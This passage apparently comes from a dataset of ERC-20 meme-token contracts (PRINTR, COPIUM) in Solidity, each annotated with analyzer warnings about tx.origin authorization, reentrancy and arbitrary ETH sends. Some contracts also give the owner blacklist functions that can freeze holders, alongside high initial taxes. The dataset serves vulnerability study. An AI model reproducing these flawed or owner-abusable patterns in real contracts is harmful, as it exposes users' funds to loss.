_balances[account];\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 0c06b54): PRINTR.transfer(address,uint256) uses tx.origin for authorization require(bool)(tx.origin != bananasnipe)\n\t// Recommendation for 0c06b54: Do not use 'tx.origin' for authorization.\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(msg.sender != bananasnipe);\n\n\t\t// tx-origin | ID: 0c06b54\n require(tx.origin != bananasnipe);\n\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: f0e413f): PRINTR.allowance(address,address) uses tx.origin for authorization require(bool)(tx.origin != bananasnipe)\n\t// Recommendation for f0e413f: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a58fa98): PRINTR.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a58fa98: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n require(msg.sender != bananasnipe);\n\n\t\t// tx-origin | ID: f0e413f\n require(tx.origin != bananasnipe);\n\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 08a329c): PRINTR.approve(address,uint256) uses tx.origin for authorization require(bool)(tx.origin != bananasnipe)\n\t// Recommendation for 08a329c: Do not use 'tx.origin' for authorization.\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n require(msg.sender != bananasnipe);\n\n\t\t// tx-origin | ID: 08a329c\n require(tx.origin != bananasnipe);\n\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8f55952): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8f55952: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6e8d877): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6e8d877: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 32ce0c7): PRINTR.transferFrom(address,address,uint256) uses tx.origin for authorization require(bool)(tx.origin != bananasnipe)\n\t// Recommendation for 32ce0c7: Do not use 'tx.origin' for authorization.\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(msg.sender != bananasnipe);\n\n\t\t// tx-origin | ID: 32ce0c7\n require(tx.origin != bananasnipe);\n\n\t\t// reentrancy-events | ID: 8f55952\n\t\t// reentrancy-benign | ID: 6e8d877\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8f55952\n\t\t// reentrancy-benign | ID: 6e8d877\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aafc11c): PRINTR._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for aafc11c: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 93cf1dc): PRINTR._approve(address,address,uint256) uses tx.origin for authorization require(bool)(tx.origin != bananasnipe)\n\t// Recommendation for 93cf1dc: Do not use 'tx.origin' for authorization.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n require(msg.sender != bananasnipe);\n\n\t\t// tx-origin | ID: 93cf1dc\n require(tx.origin != bananasnipe);\n\n\t\t// reentrancy-benign | ID: 6e8d877\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8f55952\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 28c3d2b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 28c3d2b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: aefa3d5): PRINTR._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferTimestamp[tx.origin] < block.number,Only one transfer per block allowed.)\n\t// Recommendation for aefa3d5: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3bbabaf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3bbabaf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: aefa3d5\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"Only one transfer per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (_buyCount < _preventSwapBefore) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (to == uniswapV2Pair && from != address(this)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 28c3d2b\n\t\t\t\t// reentrancy-eth | ID: 3bbabaf\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 28c3d2b\n\t\t\t\t\t// reentrancy-eth | ID: 3bbabaf\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3bbabaf\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 28c3d2b\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 3bbabaf\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 3bbabaf\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 28c3d2b\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 1c4ffa5): PRINTR.swapTokensForEth(uint256) uses tx.origin for authorization require(bool)(tx.origin != bananasnipe)\n\t// Recommendation for 1c4ffa5: Do not use 'tx.origin' for authorization.\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n\n if (!tradingOpen) {\n return;\n }\n\n require(msg.sender != bananasnipe);\n\n\t\t// tx-origin | ID: 1c4ffa5\n require(tx.origin != bananasnipe);\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 28c3d2b\n\t\t// reentrancy-events | ID: 8f55952\n\t\t// reentrancy-benign | ID: 6e8d877\n\t\t// reentrancy-eth | ID: 3bbabaf\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function setIsBot(address account, bool state) external onlyOwner {\n bots[account] = state;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 754b744): PRINTR.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 754b744: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 28c3d2b\n\t\t// reentrancy-events | ID: 8f55952\n\t\t// reentrancy-eth | ID: 3bbabaf\n\t\t// arbitrary-send-eth | ID: 754b744\n _taxWallet.transfer(amount);\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d3a55bf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d3a55bf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b65969e): PRINTR.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b65969e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8ae9179): PRINTR.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 8ae9179: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3e1f86a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3e1f86a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: d3a55bf\n\t\t// reentrancy-eth | ID: 3e1f86a\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: d3a55bf\n\t\t// unused-return | ID: b65969e\n\t\t// reentrancy-eth | ID: 3e1f86a\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d3a55bf\n\t\t// unused-return | ID: 8ae9179\n\t\t// reentrancy-eth | ID: 3e1f86a\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: d3a55bf\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3e1f86a\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10340.sol", "size_bytes": 23754, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract COPIUM is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fa9613d): COPIUM._taxWallet should be immutable \n\t// Recommendation for fa9613d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Copium\";\n\n string private constant _symbol = unicode\"COPIUM\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d3152b): COPIUM._initialBuyTax should be constant \n\t// Recommendation for 2d3152b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: a476065): COPIUM._initialSellTax should be constant \n\t// Recommendation for a476065: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33e5c77): COPIUM._finalBuyTax should be constant \n\t// Recommendation for 33e5c77: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 752fe08): COPIUM._finalSellTax should be constant \n\t// Recommendation for 752fe08: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7afd77b): COPIUM._reduceBuyTaxAt should be constant \n\t// Recommendation for 7afd77b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 61e6106): COPIUM._reduceSellTaxAt should be constant \n\t// Recommendation for 61e6106: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 25b96cb): COPIUM._preventSwapBefore should be constant \n\t// Recommendation for 25b96cb: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 53267fa): COPIUM._taxSwapThreshold should be constant \n\t// Recommendation for 53267fa: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 42069000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 184874b): COPIUM._maxTaxSwap should be constant \n\t// Recommendation for 184874b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n\t\t// reentrancy-eth | ID: de5c4e0\n inSwap = true;\n\n _;\n\n\t\t// reentrancy-eth | ID: de5c4e0\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2746479): COPIUM.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2746479: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: aebc1b0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for aebc1b0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 27ae6e5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 27ae6e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: aebc1b0\n\t\t// reentrancy-benign | ID: 27ae6e5\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: aebc1b0\n\t\t// reentrancy-benign | ID: 27ae6e5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cd0ff48): COPIUM._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cd0ff48: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 27ae6e5\n\t\t// reentrancy-benign | ID: 52e5bd5\n\t\t// reentrancy-benign | ID: c0cbad2\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6b19582\n\t\t// reentrancy-events | ID: a4fd425\n\t\t// reentrancy-events | ID: aebc1b0\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3dbed91): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3dbed91: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 63285e1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 63285e1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t\t// reentrancy-eth | ID: de5c4e0\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n\t\t\t\t\t// reentrancy-eth | ID: de5c4e0\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 3dbed91\n\t\t\t\t// reentrancy-eth | ID: 63285e1\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3dbed91\n\t\t\t\t\t// reentrancy-eth | ID: 63285e1\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: de5c4e0\n\t\t\t\t// reentrancy-eth | ID: 63285e1\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: de5c4e0\n\t\t\t\t// reentrancy-eth | ID: 63285e1\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: de5c4e0\n\t\t\t// reentrancy-eth | ID: 63285e1\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6b19582\n\t\t\t// reentrancy-events | ID: 3dbed91\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: de5c4e0\n\t\t// reentrancy-eth | ID: 63285e1\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: de5c4e0\n\t\t// reentrancy-eth | ID: 63285e1\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 6b19582\n\t\t// reentrancy-events | ID: 3dbed91\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6b19582\n\t\t// reentrancy-events | ID: a4fd425\n\t\t// reentrancy-events | ID: aebc1b0\n\t\t// reentrancy-events | ID: 3dbed91\n\t\t// reentrancy-benign | ID: 27ae6e5\n\t\t// reentrancy-benign | ID: 52e5bd5\n\t\t// reentrancy-benign | ID: c0cbad2\n\t\t// reentrancy-eth | ID: 17daf61\n\t\t// reentrancy-eth | ID: 9cfab59\n\t\t// reentrancy-eth | ID: de5c4e0\n\t\t// reentrancy-eth | ID: 63285e1\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function RemoLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e1bfdf5): COPIUM.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for e1bfdf5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6b19582\n\t\t// reentrancy-events | ID: a4fd425\n\t\t// reentrancy-events | ID: aebc1b0\n\t\t// reentrancy-events | ID: 3dbed91\n\t\t// reentrancy-eth | ID: 17daf61\n\t\t// reentrancy-eth | ID: 9cfab59\n\t\t// reentrancy-eth | ID: de5c4e0\n\t\t// reentrancy-eth | ID: 63285e1\n\t\t// arbitrary-send-eth | ID: e1bfdf5\n _taxWallet.transfer(amount);\n }\n\n function blackbot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function whitebt(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6b19582): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6b19582: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a4fd425): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a4fd425: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 52e5bd5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 52e5bd5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c0cbad2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c0cbad2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: db836b1): COPIUM.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for db836b1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8244b8e): COPIUM.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 